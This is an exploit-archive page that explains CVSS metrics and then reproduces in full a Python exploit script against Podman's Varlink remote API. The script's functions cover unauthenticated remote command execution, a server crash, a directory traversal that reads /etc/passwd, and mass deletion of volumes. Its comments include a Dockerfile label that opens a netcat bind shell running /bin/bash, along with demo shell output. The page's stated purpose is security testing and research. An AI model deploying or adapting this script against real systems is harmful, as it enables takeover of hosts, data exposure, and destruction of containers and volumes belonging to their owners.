The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Podman / Varlink Remote Code Execution
#!/usr/bin/python
# -*- coding: UTF-8 -*-
#
# pickletime.py
#
# Podman + Varlink Insecure Config Remote Exploit
#
# Jeremy Brown [jbrown3264/gmail] @ Oct 2019
#
# -------
# Details
# -------
#
# Podman is container engine / platform similar to Docker supported
# by RedHat and Fedora with Varlink being a protocol to exchange
# messages, which comes in handy for things like a Remote API.
#
# Now depending on how Podman and Varlink are deployed, they can be
# susceptible to local and remote attacks. There are a few API bugs
# in Podman itself, as well as a way to execute arbitary commands if
# one can hit Podman via the Remote API. Running Podman with Varlink
# over tcp listening either on localhost or the network interface is the
# most vulnerable setup, but other ways such as access via the local UNIX
# socket or over SSH (key /w no passphrase is common) aren't likely
# to be vulnerable unless ACLs or other stuff is broken.
#
# ------------------
# Testing the issues
# ------------------
#
# - check; just connects and issues GetInfo() to see if the host is
# running a podman service
#
# - exec; arbitrary cmd execution via ContainerRunlabel() specified
# by "run" label in the specified hosted image (self-setup)
#
# - dos; crash the server via choosing a /random/ selection from
# the available parsing bugs in APIs (we like to have fun here)
#
# - blind; dir traversal in SearchImages() API to force server to
# read an arbitrary file (no client-side output)
#
# - volrm; loops to remove all volumes via VolumeRemove() behavior
#
# ---------
# Exec demo
# ---------
#
# $ ./pickletime.py check podman-host:6000
# -> Podman service confirmed on host
#
# Then create a Dockerfile with an edgy label, build and host it.
#
# [Dockerfile]
# FROM busybox
# LABEL run=nc -l -p 10000 -e /bin/bash
#
# $ ./pickletime.py exec podman-host:6000 docker-registry:5000/image run
# Done!
#
# $ nc podman-host 10000
# ps
# PID TTY TIME CMD
# 111640 pts/1 00:00:00 bash
# 111786 pts/1 00:00:00 podman
# 111797 pts/1 00:00:00 nc
# 111799 pts/1 00:00:00 bash
# 111801 pts/1 00:00:00 ps
#
#
# Tested Podman 1.4.4/1.5.1 and Varlink 18 on Fedora Server 30 x64
#
# -----------
# Other stuff
# -----------
#
# Note: admins can really setup their connection and deployment configuration
# however they like, so it's hard to say how many folks are 'doing it wrong'
# or actually are running with proper auth and hardening in place. Shodan
# folks have been contacted about adding support to discover Varlink services
# to get more data that way as well.
#
# Fixed bugs:
# - DoS #2 was fixed in 1.5.1
# - Updated security docs / cli flags TBD
#
# > Why pickles? Why not.
#
# Dependencies to run this code:
#
# sudo dnf install -y python3-podman-api
#
#
#
import os
import sys
import socket
import subprocess
import random
import json
import podman
import pickle
import time
serviceName = 'io.podman' # service name
def main():
if(len(sys.argv) < 2):
print("Usage: %s <action> <host> [action....params]\n" % sys.argv[0])
print("Eg: %s check tcp:podman-host:6000" % sys.argv[0])
print("... %s exec tcp:podman-host:6000 docker-registry:5000/image run\n" % sys.argv[0])
print("Actions: check, exec, dos, blind, volrm\n")
return
action = sys.argv[1]
address = sys.argv[2] # eg. unix:/run/podman/io.podman for local testing
ip = address.split(':')[1]
port = int(address.split(':')[2])
if(action == 'exec'):
if(len(sys.argv) < 4):
print("Error: need more args for exec")
return
image = sys.argv[3] # 'source' for pull
label = sys.argv[4]
isItTime()
try:
pman = podman.Client(uri=address)
except Exception:
print("Error: can't connect to host")
return
if(action == 'check'):
result = json.dumps(pman.system.info())
if('podman_version' in result):
print("-> Podman service confirmed on host")
return
print("-!- Podman service was not found on host")
elif(action == 'exec'):
#
# First pull the image from the repo, then run the label
#
try:
result = pman.images.pull(image) # PullImage()
except Exception as error:
pass # call fails sometimes if image already exists which is *ok*
#
# ContainerRunlabel() ... but, no library imp. we'll do it live!
#
method = serviceName + '.' + 'ContainerRunlabel'
message = '{\"method\":\"'
message += method
message += '\",\"parameters\":'
message += '{\"Runlabel\":{\"image\":\"'
message += image
message += '\",\"label\":\"'
message += label
message += '\"}}}'
message += '\0' # end each msg with a NULL byte
doSocketSend(ip, port, message)
elif(action == 'dos'):
#bug = 1 # !fun
bug = random.randint(1,2) # fun
if(bug == 1):
print("one")
source = 'test'
method = serviceName + '.' + 'LoadImage'
message = '{\"method\":\"'
message += method
message += '\",\"parameters\":'
message += '{\"source":\"'
message += source
message += '\"}}'
message += '\0'
doSocketSend(ip, port, message)
# works on 1.4.4, fixed in 1.5.1
if(bug == 2):
print("two")
reference = 'b' * 238
source = '/dev/null' # this file must exist locally
method = serviceName + '.' + 'ImportImage'
message = '{\"method\":\"'
message += method
message += '\",\"parameters\":'
message += '{\"reference\":\"'
message += reference
message += '\",\"source\":\"'
message += source
message += '\"}}'
message += '\0'
doSocketSend(ip, port, message)
#
# blind read of arbitrary files server-side
# ...interesting but not particularly useful by itself
#
# openat(AT_FDCWD, "/etc/passwd", O_RDONLY|O_CLOEXEC) = 7
# lseek(7, 0, SEEK_CUR) = 0
# fstat(7, {st_mode=S_IFREG|0644, st_size=1672, ...}) = 0
# read(7, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1672
# close(7)
#
elif(action == 'blind'):
method = serviceName + '.' + 'SearchImages'
query = '../../../etc/passwd/' # magic '/' at the end
message = '{\"method\":\"'
message += method
message += '\",\"parameters\":'
message += '{\"query\":\"'
message += query
message += '\"}}'
message += '\0'
#pman.images.search(query) # unclear why this doesn't work
doSocketSend(ip, port, message)
#
# Not really a bug, but an interesting feature to demo without auth
# note: call CreateVolume() a few times beforehand to test the removal
#
elif(action == 'volrm'):
method = serviceName + '.' + 'VolumeRemove'
n = 10 # this is probably enough to test, but change as necessary
message = '{\"method\":\"'
message += method
message += '\",\"parameters\":'
message += '{\"options\":{\"volumes\":[\"\"]}}}' # empty = alphabetical removal
message += '\0'
for _ in range(n):
doSocketSend(ip, port, message)
time.sleep(0.5) # server processing time
print("Done!")
#
# podman/varlink libaries don't support calling these API calls, so native we must
#
def doSocketSend(ip, port, message):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
sock.send(message.encode())
except Exception as error:
print(str(error))
return
finally:
sock.close()
#
# obligatory routine
#
def isItTime():
tm = time.localtime()
p = pickle.dumps('it\'s pickle time!')
if((str(tm.tm_hour) == '11') and (str(tm.tm_min) == '11')):
print(pickle.loads(p))
else:
pass # no dill
if(__name__ == '__main__'):
main()
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum